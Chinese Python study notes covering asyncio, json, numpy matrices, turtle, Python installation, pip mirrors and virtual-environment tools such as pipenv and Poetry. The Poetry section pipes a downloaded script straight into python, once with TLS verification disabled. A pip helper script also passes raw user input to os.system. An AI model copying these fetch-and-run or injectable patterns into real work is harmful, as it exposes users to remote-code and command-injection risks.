+ await asyncio.gather(count(), count(), count())
+
+asyncio.run(main())
+
上面脚本中,在 async 函数main
的里面,asyncio.gather()
方法将多个异步任务(三个 count()
)包装成一个新的异步任务,必须等到内部的多个异步任务都执行结束,这个新的异步任务才会结束。
脚本的运行结果如下。
$ python3 async.py +One +One +One +Two +Two +Two +
上面运行结果的原因是,三个 count()
依次执行,打印完 One
,就休眠1秒钟,把执行权交给下一个 count()
,所以先连续打印出三个 One
。等到1秒钟休眠结束,执行权重新交回第一个 count()
,开始执行 await
命令下一行的语句,所以会接着打印出三个Two
。脚本总的运行时间是1秒。
作为对比,下面是这个例子的同步版本 sync.py
。
#!/usr/bin/env python3
+# sync.py
+
+import time
+
+def count():
+ print("One")
+ time.sleep(1)
+ print("Two")
+
+def main():
+ for _ in range(3):
+ count()
+
+main()
+
上面脚本的运行结果如下。
$ python3 sync.py
+One
+Two
+One
+Two
+One
+Two
+
上面运行结果的原因是,三个 count()
都是同步执行,必须等到前一个执行完,才能执行后一个。脚本总的运行时间是3秒。
最后是一个异步编程的真实例子:操作无头浏览器。异步编程对代码的简化,在这个例子体现得淋漓尽致。
我们需要用到 pyppeteer 模块,它是无头浏览器 Puppeteer 的 Python 移植,API 跟 JavaScript 版本基本一致。下面是安装命令。
$ python3 -m pip install pyppeteer
+
然后,写一个网页截图脚本screenshot.py
。
#!/usr/bin/env python3
+# screenshot.py
+
+import asyncio
+from pyppeteer import launch
+
+async def main():
+ browser = await launch()
+ page = await browser.newPage()
+ await page.goto('http://example.com')
+ await page.screenshot({'path': 'example.png'})
+ await browser.close()
+
+asyncio.run(main())
+
上面代码中,启动浏览器(launch
)、打开新 Tab(newPage()
)、访问网址(page.goto()
)、截图(page.screenshot()
)、关闭浏览器(browser.close()
),这一系列操作都是异步任务,使用 await
命令写起来非常自然简单。
执行这个脚本,当前目录下就会生成截图文件 example.png
。
$ python3 screenshot.py
+
果脚本执行时报错 No usable sandbox!
,可以参考这里。另外,第一次执行这个脚本,会下载安装 Puppeteer,可能需要等待较长时间,但是此后的执行就会很快。
Pyppeteer 的官网还有其他实例,比如向网页注入 JavaScript 代码,大家可以自己试玩。
方法 | 作用 |
---|---|
json.dumps() | 将python对象编码成Json字符串 |
json.loads() | 将Json字符串解码成python对象 |
json.dump() | 将python中的对象转化成json储存到文件中 |
json.load() | 将文件中的json的格式转化成python对象提取出来 |
json.dumps将一个Python数据结构转换为JSON
json.dumps( obj,
+ skipkeys=False, ensure_ascii=True,
+ check_circular=True, allow_nan=True,
+ cls=None,
+ indent=None,
+ separators=None,
+ encoding="utf-8", default=None,
+ sort_keys=False,
+ **kw)
+
obj
: 待转化成json的对象。sort_keys =True
: 是告诉编码器按照字典排序(a到z)输出。如果是字典类型的python对象,就把关键字按照字典排序。indent
: 参数根据数据格式缩进显示,读起来更加清晰。separators
: 是分隔符的意思,参数意思分别为不同dict项之间的分隔符和dict项内key和value之间的分隔符,把:和,后面的空格都除去了。import json
+data = {
+ 'name' : 'myname',
+ 'age' : 100,
+}
+json_str = json.dumps(data)
+print(json_str)
+
{"name": "myname", "age": 100}
[[0 1 2 3 4]
+ [5 6 7 8 9]
+ [10 11 12 13 14]]
+
可以通过下面的代码创建并查看一个数组的秩:
import numpy as np
+a = np.array([(1, 2), (3.4, 5)])
+print(a)
+print(a.ndim)
+
+# 运行结果
+[[1. 2. ]
+[3.4 5. ]]
+2
+
List 不支持科学计算, 用 List 数据生成 Numpy.array 数据就可以支持科学计算了
import numpy as np
+
+a = np.arange(15).reshape(3, 5)
+b = np.arange(1, 30, 5)
+c = np.arange(0, 1, 0.2)
+d = np.linspace(0, np.e * 10, 5)
+e = np.random.random((3, 2))
+print('a = ', a)
+print('b = ', b)
+print('c = ', c)
+print('d = ', d)
+print('e = ', e)
+
+# 运行结果
+a = [[ 0 1 2 3 4]
+[ 5 6 7 8 9]
+[10 11 12 13 14]]
+b = [ 1 6 11 16 21 26]
+c = [0. 0.2 0.4 0.6 0.8]
+d = [ 0. 6.79570457 13.59140914 20.38711371 27.18281828]
+e = [[0.89648206 0.56055272]
+[0.65490962 0.13706445]
+[0.54199453 0.8091704 ]]
+
numpy.core.function_base
+@array_function_dispatch(_linspace_dispatcher)
+def linspace(start: Union[ndarray, Iterable, int, float],
+ stop: Union[ndarray, Iterable, int, float],
+ num: Optional[int] = 50,
+ endpoint: Optional[bool] = True,
+ retstep: Optional[bool] = False,
+ dtype: Optional[object] = None,
+ axis: Optional[int] = 0) -> Any
+
>>> np.linspace(2.0, 3.0, num=5)
+array([2. , 2.25, 2.5 , 2.75, 3. ]) # 5个数落在[2,3],均分4格,每格0.25
+>>> np.linspace(2.0, 3.0, num=5, endpoint=False) # 6个数均分[2, 3],5格*0.2/格,去掉3
+array([2. , 2.2, 2.4, 2.6, 2.8])
+>>> np.linspace(2.0, 3.0, num=5, retstep=True)
+(array([2. , 2.25, 2.5 , 2.75, 3. ]), 0.25)
+
>>> import matplotlib.pyplot as plt
+>>> N = 8
+>>> y = np.zeros(N)
+>>> x1 = np.linspace(0, 10, N, endpoint=True)
+>>> x2 = np.linspace(0, 10, N, endpoint=False)
+>>> plt.plot(x1, y, 'o')
+[<matplotlib.lines.Line2D object at 0x...>]
+>>> plt.plot(x2, y + 0.5, 'o')
+[<matplotlib.lines.Line2D object at 0x...>]
+>>> plt.ylim([-0.5, 1])
+(-0.5, 1)
+>>> plt.show()
+
+# 完整代码:
+import numpy as np
+import matplotlib.pyplot as plt
+
+N = 8
+y = np.zeros(N)
+x1 = np.linspace(0, 10, N, endpoint=True)
+x2 = np.linspace(0, 10, N, endpoint=False)
+plt.plot(x1, y, 'o')
+plt.plot(x2, y + 0.5, 'o')
+plt.ylim([-0.5, 1])
+plt.show()
+
+
endpoint
is set to False. num + 1
evenly spaced samples, so that stop
is excluded.endpoint
is False.stop
is the last sample. samples
, step
), where step
is the spacing between samples.dtype
is not given, infer the data type from the other input arguments. .. versionadded:: 1.9.0 -1
to get an axis at the end. .. versionadded:: 1.16.0 num
equally spaced samples in the closed interval [start, stop]
or the half-open interval [start, stop)
(depending on whether endpoint
is True or False).import numpy as np
+
+a = np.arange(15).reshape(3, 5)
+print('a ', '=', a)
+print('a.ndim ', '=', a.ndim)
+print('a.shape ', '=', a.shape)
+print('a.dtype.name ', '=', a.dtype.name)
+print('a.itemsize ', '=', a.itemsize)
+print('a.size ', '=', a.size)
+print('type(a) ', '=', type(a))
+
+# 运行结果
+a = [[ 0 1 2 3 4]
+ [ 5 6 7 8 9]
+ [10 11 12 13 14]]
+a.ndim = 2
+a.shape = (3, 5)
+a.dtype.name = int32
+a.itemsize = 4
+a.size = 15
+type(a) = <class 'numpy.ndarray'>
+
import numpy as np
+
+print(np.arange(10000).reshape(100, 100))
+
+# 运行结果
+[[ 0 1 2 ... 97 98 99]
+[ 100 101 102 ... 197 198 199]
+[ 200 201 202 ... 297 298 299]
+...
+[9700 9701 9702 ... 9797 9798 9799]
+[9800 9801 9802 ... 9897 9898 9899]
+[9900 9901 9902 ... 9997 9998 9999]]
+
import numpy as np
+
+a = np.zeros((3, 4))
+b = np.ones((2, 3, 4), dtype=np.int64)
+c = np.empty((4, 5))
+print('zeros\n', a)
+print('ones \n', b)
+print('empty\n', c)
+
+# 运行结果
+zeros
+[[0. 0. 0. 0.]
+ [0. 0. 0. 0.]
+ [0. 0. 0. 0.]]
+ones
+[[[1 1 1 1]
+ [1 1 1 1]
+ [1 1 1 1]]
+
+ [[1 1 1 1]
+ [1 1 1 1]
+ [1 1 1 1]]]
+empty
+[[3.80261646e-311 4.35210540e-306 1.78716863e-306 1.78022885e-306
+ 1.16691863e-301]
+[4.20602082e-297 3.25847851e-292 7.06199777e-292 1.21172656e-305
+ 1.21200470e-305]
+[3.82460765e-297 1.64290200e-287 1.64325271e-287 3.38208191e-292
+ 7.93893540e-301]
+[1.64290201e-287 1.64357338e-287 5.16064744e-297 3.48020045e-308
+ 2.50643828e-154]]
+
import numpy as np
+
+a = np.arange(12).reshape(3, 4)
+print('原数组:\n{0}\n\n转置数组:\n{1}'.format(a, a.T))
+
+# 运行结果
+原数组:
+[[ 0 1 2 3]
+ [ 4 5 6 7]
+ [ 8 9 10 11]]
+
+转置数组:
+[[ 0 4 8]
+ [ 1 5 9]
+ [ 2 6 10]
+ [ 3 7 11]]
+
+
import numpy as np
+
+a = np.matrix([(1, 2, 4), (2, 2, 4), (3, 4, 5)])
+b = np.matrix([[4, 5], [7, 8]])
+c = np.matrix(range(6))
+d = np.matrix('1, 2, 3; 4, 5, 6; 7, 8, 9')
+print(a, b, c, d, sep='\n\n')
+
+# 运行结果
+[[1 2 4]
+ [2 2 4]
+ [3 4 5]]
+
+[[4 5]
+ [7 8]]
+
+[[0 1 2 3 4 5]]
+
+[[1 2 3]
+ [4 5 6]
+ [7 8 9]]
+
+
import numpy as np
+
+a = np.mat([(1, 2, 4), (2, 2, 4), (3, 4, 5)])
+b = np.mat([[4, 5], [7, 8]])
+c = np.mat(range(6))
+d = np.mat('1, 2, 3; 4, 5, 6; 7, 8, 9')
+print(a, b, c, d, sep='\n\n')
+
+# 运行结果
+[[1 2 4]
+ [2 2 4]
+ [3 4 5]]
+
+[[4 5]
+ [7 8]]
+
+[[0 1 2 3 4 5]]
+
+[[1 2 3]
+ [4 5 6]
+ [7 8 9]]
+
+进程已结束,退出代码0
+
import numpy as np
+
+mat1 = np.eye(3) # 生成对角为1的矩阵,可生成单位矩阵
+mat2 = np.diag([3]*3) # 生成对角为3的方阵,可生成单位矩阵
+mat3 = np.identity(6) # 生成单位矩阵
+print(mat1, mat2, mat3, sep='\n')
+mat = np.bmat('mat1, mat2; mat3')
+print('mat:', mat, sep='\n')
+
+# 运行结果
+[[1. 0. 0.]
+ [0. 1. 0.]
+ [0. 0. 1.]]
+[[3 0 0]
+ [0 3 0]
+ [0 0 3]]
+[[1. 0. 0. 0. 0. 0.]
+ [0. 1. 0. 0. 0. 0.]
+ [0. 0. 1. 0. 0. 0.]
+ [0. 0. 0. 1. 0. 0.]
+ [0. 0. 0. 0. 1. 0.]
+ [0. 0. 0. 0. 0. 1.]]
+mat:
+[[1. 0. 0. 3. 0. 0.]
+ [0. 1. 0. 0. 3. 0.]
+ [0. 0. 1. 0. 0. 3.]
+ [1. 0. 0. 0. 0. 0.]
+ [0. 1. 0. 0. 0. 0.]
+ [0. 0. 1. 0. 0. 0.]
+ [0. 0. 0. 1. 0. 0.]
+ [0. 0. 0. 0. 1. 0.]
+ [0. 0. 0. 0. 0. 1.]]
+
+进程已结束,退出代码0
+
矩阵 | 属性 | 说明 |
---|---|---|
A | T | A.T 返回自身的转置 |
A | H | A.H 返回自身的共轭转置 |
A | I | A.I 返回自身的逆矩阵 |
A | A | A.A 返回自身数据的2维数组的一个视图 |
import numpy as np
+
+a = np.mat([(1, 2, 4), (2, 2, 4), (3, 4, 5)])
+print("a.A 自身数据2维数组的一个视图:\n{0}".format(a.A))
+print("a.T 返回自身的转置:\n{0}".format(a.T))
+print("a.I 返回自身的逆矩阵:\n{0}".format(a.I))
+print("a.H 返回自身的共轭转置".format(a.H))
+
+# 运行结果
+a.A 自身数据2维数组的一个视图:
+[[1 2 4]
+ [2 2 4]
+ [3 4 5]]
+a.T 返回自身的转置:
+[[1 2 3]
+ [2 2 4]
+ [4 4 5]]
+a.I 返回自身的逆矩阵:
+[[-1. 1. 0. ]
+ [ 0.33333333 -1.16666667 0.66666667]
+ [ 0.33333333 0.33333333 -0.33333333]]
+a.H 返回自身的共轭转置
+
+
数乘
矩阵相加减
矩阵相乘
import numpy as np
+
+A = np.mat([(1, 2, -1), (3, 1, 0), (-1, 0, -2)])
+C = np.mat([[1, 2], [3, 4], [5, 6]])
+D = np.mat([[11, 22, 33], [44, 55, 66], [77, 88, 99]])
+print("A×3:\n{0}".format(A*3))
+print("A+D:\n{0}\nA*C:\n{1}\n".format(A+D, A*C))
+
+# 运行结果
+A×3:
+[[ 3 6 -3]
+[ 9 3 0]
+[-3 0 -6]]
+A+D:
+[[12 24 32]
+[47 56 66]
+[76 88 97]]
+A*C:
+[[ 2 4]
+[ 6 10]
+[-11 -14]]
+
+
某工厂生产三种产品,费用支出见表1,生产量见表2
计算如下数据:
代码如下:
import numpy as np
+
+M = np.mat([(0.10, 0.30, 0.15), (0.30, 0.40, 0.25), (0.10, 0.20, 0.15)])
+N = np.mat([[4000, 4500, 4500, 4000], [2000, 2600, 2400, 2200], [5800, 6200, 6000, 6000]])
+MN = M*N
+print("每一季度中每一类成本的数量为:\n{0}".format(MN))
+print("每一季度三类成本的总数量为:\n{0}".format(MN.sum(axis=0)))
+print("四个季度每类成本的总数量为:\n{0}".format(MN.sum(axis=1)))
+
+# 运行结果:
+每一季度中每一类成本的数量为:
+[[1870. 2160. 2070. 1960.]
+ [3450. 3940. 3810. 3580.]
+ [1670. 1900. 1830. 1740.]]
+每一季度三类成本的总数量为:
+[[6990. 8000. 7710. 7280.]]
+四个季度每类成本的总数量为:
+[[ 8060.]
+ [14780.]
+ [ 7140.]]
+
+
求解线性方程组
import numpy as np
+
+a = np.mat([[3, 1], [1, 2]]) # 系数矩阵
+b = np.mat([[9, 8]]) # 常数矩阵
+x = np.linalg.solve(a, b.T) # 求解ax = b.T
+y = np.linalg.det(a) # 计算数组a的行列式。
+a_I = np.linalg.inv(a) # 求a的逆矩阵,等价于a.I
+a_eigValue = np.linalg.eigvals(a) # 计算通用矩阵a的特征值。
+print("ax = b.T的解为:\n{0}\na的行列式为:\n{1}\n"
+ "a的特征值为:\n{2}\n".format(x, y, a_eigValue))
+print("方阵a的特征值和右特征向量为:\n{0}"
+ .format(np.linalg.eig(a))) # 计算方阵a的特征值和右特征向量。
+print("ax为:\n{0}".format(a*x))
+print("a与其逆矩阵的乘积为:\n{0}".format(a*a_I))
+
+# 运行结果
+ax = b.T的解为:
+[[2.]
+ [3.]]
+a的行列式为:
+5.000000000000001
+a的特征值为:
+[3.61803399 1.38196601]
+
+方阵a的特征值和右特征向量为:
+(array([3.61803399, 1.38196601]), matrix([[ 0.85065081, -0.52573111],
+ [ 0.52573111, 0.85065081]]))
+ax为:
+[[9.]
+ [8.]]
+a与其逆矩阵的乘积为:
+[[1. 0.]
+ [0. 1.]]
+
+
某地区居民连续几年的年底储蓄总金额如表所示:
import numpy as np
+
+
+def create_a_linear_regressor(X, Y):
+ x_m = np.mat(X)
+ y_m = np.mat(Y)
+ top1 = float(x_m * y_m.T)
+ top2 = (X.sum() * Y.sum()) / (X.shape[0])
+ top = top1 - top2
+ bottom1 = np.multiply(X, X).sum()
+ bottom2 = ((X.sum()) * (X.sum())) / (X.shape[0])
+ bottom = bottom1 - bottom2
+ a = top / bottom
+ front = (Y.sum()) / (Y.shape[0])
+ back = (a * (X.sum())) / (X.shape[0])
+ b = front - back
+ return [a, b]
+
+
+X = np.array([1, 2, 3, 4, 5, 6])
+Y = np.array([6.0, 7.0, 7.8, 8.0, 9.0, 9.8])
+para = create_a_linear_regressor(X, Y)
+print("斜率为:{0} 截距为:{1}".format(para[0], para[1]))
+print("第6年年底储蓄总金额为:{0}".format(para[0]*7 + para[1]))
+
+# 运行结果
+斜率为:0.7200000000000013 截距为:5.413333333333329
+第6年年底储蓄总金额为:10.453333333333337
+
unique(b, return_index = True, return_counts = True)
+
import numpy as np
+
+A = np.random.randint(10, 15, size=(1, 7))
+print("原数组:\n{0}".format(A))
+B, index = np.unique(A, return_index=True)
+print("去重\n{}\nindex\n{}".format(B, index))
+C = np.array([[1, 2], [3, 4], [1, 2], [3, 4], [3, 4]])
+c = np.unique(C, axis=0) # 去掉重复的行
+print('去掉数组C中重复的行\n', c)
+
+# 运行结果
+原数组:
+[[12 12 11 13 13 13 10]]
+去重
+[10 11 12 13]
+index
+[6 2 0 3]
+去掉数组C中重复的行
+ [[1 2]
+ [3 4]]
+
+
tile(arr,reps)
+
repeat(a,repeats,axis=None)
+
import numpy as np
+
+arr = np.arange(5)
+arr_tile = np.tile(arr, 2) # 将数组重复2次
+print('原数组为:', arr)
+print('重复后的数组为:', arr_tile)
+np.random.seed(42) # 设置随机种子
+arr1 = np.random.randint(0, 10, size=(3, 3)) # 生成数组
+print('原数组:\n', arr1)
+arr1_repeat = np.repeat(arr1, 2, axis=1)
+print('重复后数组为:', arr1_repeat) # 按行进行元素重复,axis=1.按列进行元素重复
+
+# 运行结果
+原数组为: [0 1 2 3 4]
+重复后的数组为: [0 1 2 3 4 0 1 2 3 4]
+原数组:
+ [[6 3 7]
+ [4 6 9]
+ [2 6 7]]
+重复后数组为: [[6 6 3 3 7 7]
+ [4 4 6 6 9 9]
+ [2 2 6 6 7 7]]
+
np.save(filename,arr)
+
np.load(filename)
+
np.savez(filenme,arr1,arr2)
+
np.savez(filenme,arr1=arr1,arr2=arr2)
+
np.savetxt(filename, arr, fmt="%d", delimiter=" ")
+
np.loadtxt(filename,delimiter=",")
+
np.genfromtxt(filename,delimiter = ",")
+
import numpy as np
+import os
+
+file_path_savez = os.path.abspath(os.path.join(os.path.dirname(__file__), './res/files/prog/matrix'))
+file_path_savetxt = os.path.abspath(os.path.join(os.path.dirname(__file__), './res/files/prog/matrix.csv'))
+file_path_arr = os.path.abspath(os.path.join(os.path.dirname(__file__), './res/files/prog/matrix.npz'))
+
+A = np.array([1, 2, 3, 4, 5]) # A = [1 2 3 4 5]
+B = np.diag(A) # 利用A生成对角阵B,对角线上元素从左到右对应A中元素
+C = np.linspace(1, 50, 49, dtype=int)\
+ .reshape(7, 7) # 生成[1,50]等间隔的49个数(去掉小数部分)并将其重构为7×7的数组
+C = np.mat(C) # 将数组C转换成矩阵C
+row = len(C) # row = 7; len(矩阵)返回矩阵的行数
+col = len(C[0, :]) # col = 1; C[0, :] = [[1 2 3 4 5 6 7]] 长度为1
+D = np.diagonal(C) # D为C对角线上的元素,即为[ 1 9 17 25 33 41 50]
+D_diag = np.diag(D) # D_diag是以D为对角元素生成的方阵
+E = np.diag(np.diag(C)) # np.diag(C)获取C对角线上的元素;
+E_M = np.mat(E) # 将E转换为矩阵E_M
+F = np.tril(C) # F为C的下三角(上三角置0)
+F_1 = np.tril(C, -1) # 主对角线-1 上方元素置0,效果等效为:下三角&主对角线置0
+F1 = np.triu(C) # F1为C的上三角
+F1_1 = np.triu(C, 1) # 主对角线+1 下方元素置0,效果等效为:上三角&主对角线置0
+np.savez(file_path_savez,
+ a=A, b=B, c=C) # 将几个数组以未压缩的.npz格式保存到单个文件中。
+np.savetxt(file_path_savetxt,
+ E_M, '%d',
+ delimiter=',') # 将数组保存到文本文件,每一个数据都用','分开
+arr = np.load(file_path_arr) # 从.npy、.npz或pickle文件加载阵列或pickle对象。
+# 输出相应对象
+print("a:\n{0}\nb:\n{1}\nc:\n{2}\n".format(arr['a'], arr['b'], arr['c']))
+# 从文本文件加载数据。
+arr1 = np.loadtxt(file_path_savetxt, delimiter=',')
+print("E_M:\n{0}"
+ .format(arr1)) # 输出E_M
+
+
turtle.reset()
turtle.resetscreen()
注解 此 TurtleScreen 方法作为全局函数时只有一个名字 resetscreen。全局函数 reset 所对应的是 Turtle 方法 reset。
turtle.setheading(to_angle)
turtle.seth(to_angle)
to_angle
-- 一个数值 (整型或浮点型)>>> turtle.setheading(90)
+>>> turtle.heading()
+90.0
+
speed
: 一个 [0,10] 范围内的整型数或速度字符串
fastest
: 0 最快fast
: 10 快normal
: 6 正常slow
: 3 慢slowest
: 1 最慢此外,隐藏海龟可以显著提升绘制速度
turtle.hideturtle()
turtle.ht()
radius
: 一个数值
extent
: 一个数值 (或 None)
steps
: 一个整型数 (或 None)
绘制一个 radius 指定半径的圆。圆心在海龟左边 radius 个单位;extent 为一个夹角,用来决定绘制圆的一部分。如未指定 extent*则绘制整个圆。如果 *extent 不是完整圆周,则以当前画笔位置为一个端点绘制圆弧。如果 radius 为正值则朝逆时针方向绘制圆弧,否则朝顺时针方向。最终海龟的朝向会依据 extent 的值而改变。
圆实际是以其内切正多边形来近似表示的,其边的数量由 steps 指定。如果未指定边数则会自动确定。此方法也可用来绘制正多边形。
- 要注意的是,画笔起始点位置并非圆心,而是圆心垂线与下圆弧的交点
turtle.colormode(255)
+
turtle.color(RGB元组)
来给画笔上色了turtle.exitonclick()
turtle.done()
或 turtle.mainloop()
绘图结束,需手动关闭窗口turtle.begin_fill()
+
turtle.end_fill()
+
WIndows 下直接到官网下载可执行文件安装即可, 或者下 Anaconda, 从 Anaconda 里装也可以
下载好的 python 安装程序除了手动运行安装外还可以使用命令行来安装, 例如:
python-3.10.6-amd64.exe /quiet InstallAllUsers=1 TargetDir=C:\Python310 PrependPath=1 Include_test=0
+
InstallAllUsers=1
所有用户可用
PrependPath=1
添加环境变量
TargetDir=C:\Python310
: 指定安装目录
Include_test=0
: 不安装 Python 的测试文件或测试模块。测试文件通常用于开发和测试 Python 本身,而不是用于一般应用程序开发
等待一会儿后新开个 powershell / cmd 窗口验证下:
可以看到已经成功安装在默认目录下且添加了环境变量了
重开 powershell 窗口会重新加载环境变量, 而有时候当前 powershell 窗口可能保存了一些当前需要的临时变量, 重开后就丢失了, 还需要重新操作, 此时也可以通过如下方式, 在不关闭当前 powershell 窗口的前提下重新加载环境变量
如果已经 安装了 Chocolatey, 那么可以直接使用
refreshenv
来刷新当前 powershell 窗口的环境变量如果没装 Chocolatey 的话也可以在当前 powershell 窗口中执行如下命令来将当前 PowerShell 进程中的 PATH 环境变量设置为与系统环境变量中的 PATH 值相同
[System.Environment]::SetEnvironmentVariable("Path", [System.Environment]::GetEnvironmentVariable("Path", [System.EnvironmentVariableTarget]::Machine), [System.EnvironmentVariableTarget]::Process) +# 或者使用如下命令也是可以的: +$env:Path = [System.Environment]::GetEnvironmentVariable("Path","Machine") +
[System.Environment]::GetEnvironmentVariable("Path", [System.EnvironmentVariableTarget]::Machine)
: 从系统环境变量中获取名为 "Path" 的环境变量的值。[System.Environment]
是 .NET Framework 中的一个类,用于访问系统环境变量。[System.EnvironmentVariableTarget]::Machine
参数指定了要获取的是计算机级别的环境变量。[System.Environment]::SetEnvironmentVariable("Path", ...)
:用获取到的系统环境变量值来更新当前 PowerShell 进程中的 PATH 环境变量。[System.Environment]::SetEnvironmentVariable
方法用于设置环境变量的值。它接受三个参数:
- 第一个参数是要设置的环境变量的名称,这里是 "Path",表示 PATH 环境变量。
- 第二个参数是要设置的新值,它使用了之前获取的系统环境变量的值,确保当前进程中的 PATH 与系统环境变量中的 PATH 一致。
- 第三个参数是指定了要设置的环境变量的范围,这里是
[System.EnvironmentVariableTarget]::Process
,表示将更改应用于当前进程。
Ubuntu安装Python3 - 知乎 (zhihu.com)
# 更新源
+apt update
+# 安装 Python3
+apt install python3-pip
+# 验证
+pip -V
+python3 -V
+
修改默认 Python 版本
【Python】Ubuntu修改默认Python版本_remo0x的博客-CSDN博客_ubuntu更改默认python版本
# 删除原来的软链接
+rm /usr/bin/python3
+# 添加新的软链接
+ln -s /root/anaconda3/envs/py310/bin/python /usr/bin/python3
+
# 将包安装到指定路径(示例)
+pip install -i https://pypi.tuna.tsinghua.edu.cn/simple pygame --target=C:/Users/233/AppData/Local/Programs/Python/Python38/Lib/site-packages
+
python - How to install packages offline? - Stack Overflow --- python - 如何离线安装软件包? - 堆栈溢出
pip download - pip documentation v23.2.1 --- pip 下载 - pip 文档 v23.2.1 (pypa.io)
要在一台断网的机器上安装 python 库的话, 可以现在一台联网的机子上下载所需的 whl 包, 然后拷贝到断网机器中来安装
PS: 两台机器需要有相同的系统以及相同的 python 以及 pip 版本
对于需要安装的库可以现在联网的机器上新建并 CD 到一个空目录, 然后执行如下命令
mkdir pip
+cd pip
+pip download pip
+mkdir wheel
+cd wheel
+pip download wheel
+mkdir [pkg_name]
+cd [pkg_name]
+pip download [pkg_name]
+
这会在当前命令行目录下新建一堆包目录, 每个包目录都尤其相关的 whl 依赖, 将这些目录拷贝到离线主机的某个目录中, 并在 powershell 中 cd 到该目录, 运行如下命令即可安装这些包
$packages = Get-ChildItem -Directory
+foreach ($package in $packages) {
+ $package_name = $package.Name
+ $package_path = $package.FullName
+ Write-Host "Install package: $package_name"
+ Write-Host "Package path: $package_path"
+ pip install --no-index --find-links $package_path $package_name
+}
+
--no-index
: 忽略包索引(只查看 --find-links URL
)--find-links
: 要逐个包安装的话也是如此:
pip install --no-index --find-links /path/to/download/dir/ [pkg_name]
+
PS: 上述是逐个梳理依赖的情况, 如果有完整的 requirements 的话就比较方便了, 首先是在联网主机上下载这些依赖
pip download -r .\requirements.txt
+
将该目录拷贝到离线主机上后执行如下命令
pip install --no-index --find-links [targer_path] -r [requirements.txt_path]
+
winrey/EasyConnectedInChina: 汇总apt,pip,nodejs等各种工具国内镜像源和设置镜像源的方法 (github.com)
# 单独使用
+py -3.8 -m pip install -i https://pypi.tuna.tsinghua.edu.cn/simple opencc
+pip install -i https://pypi.tuna.tsinghua.edu.cn/simple opencc
+
+# 通过文件安装依赖
+py -3.8 -m pip install -i https://pypi.tuna.tsinghua.edu.cn/simple -r requirements.txt
+
+pip install -i https://pypi.tuna.tsinghua.edu.cn/simple -r requirements.txt
+
+# 更新 pip
+py -3.8 -m pip install -i https://pypi.tuna.tsinghua.edu.cn/simple --upgrade pip
+
+pip install -i https://pypi.tuna.tsinghua.edu.cn/simple --upgrade pip
+
补充:将包装到指定路径:
pip install -i https://pypi.tuna.tsinghua.edu.cn/simple pygame --target=C:/Users/233/AppData/Local/Programs/Python/Python38/Lib/site-packages +
官方源
https://pypi.python.org/simple
阿里云
https://mirrors.aliyun.com/pypi/simple/
中国科技大学
https://pypi.mirrors.ustc.edu.cn/simple/
豆瓣(douban)
http://pypi.douban.com/simple/
清华大学
https://pypi.tuna.tsinghua.edu.cn/simple/
中国科学技术大学
http://pypi.mirrors.ustc.edu.cn/simple/
直接在pip后加-i后跟这次使用的源即可,例:
pip install web.py -i https://mirrors.aliyun.com/pypi/simple/
+
指令中的网址为上方的源地址。
如果出现带有
trusted-host
字样的报错,这是由源不为 https 协议导致的,使用:pip install web.py -i http://pypi.douban.com/simple --trusted-host pypi.douban.com +
添加信任主机即可。
可以使用
pip config set global.index-url xxxx
+# 例如更改为清华源
+pip config set global.index-url https://pypi.tuna.tsinghua.edu.cn/simple/
+
来设置 xxxx
源
查看当前 pip 配置
pip config list
+
# 备份
+global.index-url='https://pypi.tuna.tsinghua.edu.cn/simple'
+install.trusted-host='pypi.tuna.tsinghua.edu.cn'
+
创建或修改配置文件(一般都是创建)
linux与mac的设置的文件在 ~/.pip/pip.conf
,
vim ~/.pip/pip.conf
+
windows在 %HOMEPATH%\pip\pip.ini
如果没有创建即可。
更改内容:
[global]
+index-url = https://mirrors.aliyun.com/pypi/simple/
+
或
[global]
+index-url = http://pypi.douban.com/simple
+[install]
+trusted-host=pypi.douban.com
+
文件中的网址为上方的源地址。 刚刚下面的内容是http协议源的实例。需要添加信任。 保存退出即可。
临时使用其他源安装软件包的python脚本如下:
#!/usr/bin/python
+
+import os
+
+package = raw_input("Please input the package which you want to install!\n")
+command = "pip install %s -i https://mirrors.aliyun.com/pypi/simple/" % package
+# http源的代码实例如下
+# command = "pip install %s -i http://pypi.mirrors.ustc.edu.cn/simple --trusted-host pypi.mirrors.ustc.edu.cn" % package
+os.system(command)
+
# 安装 virtualenv
+pip install virtualenv
+
+# 使用 virtualenv 创建虚拟环境
+virtualenv -p python3 env
+
+# 激活虚拟环境(Windows)
+.\env\Scripts\activate
+
+# 激活虚拟环境(Linux)
+source env/bin/activate
+
这里记录的是 ubuntu 下的配置
Windows 的话 Pycharm 中有自带的 Pipenv 包
如何开始使用 Pipenv? | w3c笔记 (w3cschool.cn)
WSL Ubuntu 18.04上使用pipenv的4个关键点 | 老梅笔记 (laomeinote.com)
Pipenv: Python Dev Workflow for Humans — pipenv 2021.11.9 documentation (pypa.io)
12. Virtual Environments and Packages — Python 3.10.0 documentation
Pipenv 是 Python 的 Python 打包工具,是对使用 Pip、Venv 和 requirements.txt的升级。Pipenv 是将包管理与虚拟环境相结合的好方法。
虚拟环境是一个自包含的目录树,其中包含针对特定 Python 版本的 Python 安装,以及许多其他包。
安装 pipenv
模块:
apt install pipenv
+pip insatll pipenv
+
使用 cd
命令切换到需要安装虚拟环境的目录安装虚拟环境(如果当前目录下没有 Pipfile
则会先生成 Pipfile
, 如果有的话便会继续安装虚拟环境):
pipenv install
+
Pipfile
中将[[source]]
区域下的url
改为国内的源# 华为镜像 +https://repo.huaweicloud.com/repository/pypi/simple +# 阿里镜像 +https://mirrors.aliyun.com/pypi/simple +# 官方源 +https://pypi.python.org/simple +
如果默认生成的
Pipfile
中的包特别多, 那么这条命令会执行很长时间且没有 log, 这将会是一个很折磨的过程(
启动虚拟环境
pipenv shell
+
可以通过 exit
退出虚拟环境
Poetry - Python dependency management and packaging made easy (python-poetry.org)
python-poetry/poetry: Python dependency management and packaging made easy. (github.com)
Poetry 是 Python 的依赖管理器
Poetry 可以帮助您声明、管理和安装 Python 项目的依赖项,确保到处都有正确的 stack。
支持 python 3.7 +
需求 Python 2.7 或 3.5+. 支持跨平台, 在 Windows, Linux, OSX 系统上都可以同样出色地运行;
Python 2.7 以及 3.5 后续版本不再支持, 需要升级 Python 版本
个人建议 Python 3.8 以上, 因为用 Python 3.7.3 安装报错了
Poetry 提供了一个自定义的安装程序, 通过解构 Poetry 的依赖关系, 将 Poetry 与系统的其他部分隔离开
osx / linux / bashonwindows install instructions
:
curl -sSL https://install.python-poetry.org | python -
+
如果报错
则可通过
--insecure
参数来放弃验证curl -sSL --insecure https://install.python-poetry.org | python - +
如果出现
syntax error
那么大概是 Python 版本比较低, 可以安装 python3.8 及以上版本后使用curl -sSL --insecure https://install.python-poetry.org | python3 - +
打开 ~/.bashrc
